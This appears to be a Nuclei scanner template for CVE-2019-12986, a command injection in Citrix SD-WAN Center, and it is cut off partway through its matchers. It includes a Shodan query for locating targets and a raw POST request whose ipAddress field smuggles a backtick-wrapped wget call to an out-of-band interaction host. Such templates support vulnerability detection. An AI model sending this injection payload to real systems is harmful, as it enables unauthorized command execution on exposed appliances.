id: CVE-2019-12986 info: name: Citrix SD-WAN Center - Remote Command Injection author: gy741 severity: critical description: | Citrix SD-WAN Center is susceptible to remote command injection via the trace_route function in DiagnosticsController, which does not sufficiently validate or sanitize HTTP request parameter values used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for ipAddress, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations. reference: - https://www.tenable.com/security/research/tra-2019-31 - https://support.citrix.com/article/CTX251987 - https://nvd.nist.gov/vuln/detail/CVE-2019-12986 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2019-12986 cwe-id: CWE-78 metadata: max-request: 2 shodan-query: http.title:"Citrix SD-WAN" tags: unauth,oast,tenable,cve,cve2019,citrix,rce http: - raw: - | GET /login HTTP/1.1 Host: {{Hostname}} - | POST /Collector/diagnostics/trace_route HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded ipAddress=%60/bin/wget+http://{{interactsh-url}}%60 matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" - type: dsl dsl: - 'contains(body_1, "